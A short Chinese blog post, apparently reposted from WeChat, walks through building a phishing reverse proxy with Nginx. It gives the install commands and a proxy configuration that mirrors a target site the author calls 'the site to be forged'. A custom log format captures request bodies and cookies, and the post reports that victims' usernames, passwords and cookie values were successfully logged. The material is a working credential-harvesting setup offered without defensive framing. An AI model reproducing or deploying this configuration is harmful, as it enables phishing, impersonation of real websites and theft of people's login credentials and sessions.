文章来源:https://mp.weixin.qq.com/s/bCmEjZ0bQgN5MeFOZm_4_g
前言
Nginx 反向代理确实用得很多,之前也写过如何配置反向代理,可参考《nginx 反向代理配置[1]》
反向代理钓鱼原理
相当于所有流量会先到我们服务器上,然后再到目标服务器上,那么就可以当中间人获取所有的流量,当然也就包括各类凭证信息了。
搭建过程
环境
- ubuntu
- Nginx(sudo apt-get install nginx -y)
确认是否安装成功
nginx -v
# 下面这个可以看到配置文件的路径等,可以用于应急
nginx -V
启动 nginx
service nginx start
配置反代
反代配置文件
创建单独的反代配置文件
vim /etc/nginx/sites-enabled/reverse-proxy.conf
写入如下内容:
server
{
listen 8081; # 监听端口
server_name 1.2.3.4; # 本机真实IP
location / {
proxy_pass http://13.234.127.46:8001/; # 反代的网站,即想要伪造的网站
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
access_log /var/log/nginx/access_log_8081.log testLog; # 日志保存位置,testLog为自定义的日志格式
}
引用配置文件
编辑 /etc/nginx/nginx.conf,在 http{}中添加 2。句话,比如在
include /etc/nginx/mime.types;
default_type application/octet-stream;
两行下面添加 2 句:
log_format testLog escape=json '$request_filename $http_x_forwarded_for $fastcgi_script_name $document_root $request_body' $http_cookie;
include /etc/nginx/sites-enabled/reverse-proxy.conf;
这样就可以把反向代理配置文件引用到,接着重启即可
service nginx restart
效果演示
原网站/要伪造的网站:
使用反向代理访问的效果,可见一模一样
在我们搭建的反代服务器中输入账号密码,可见成功记录了账号、密码和 Cookie 值
参考资料
[1]nginx反向代理配置: https://blog.gm7.org/个人知识库/99.暂未分类/05.nginx/nginx反向代理配置.html
- END -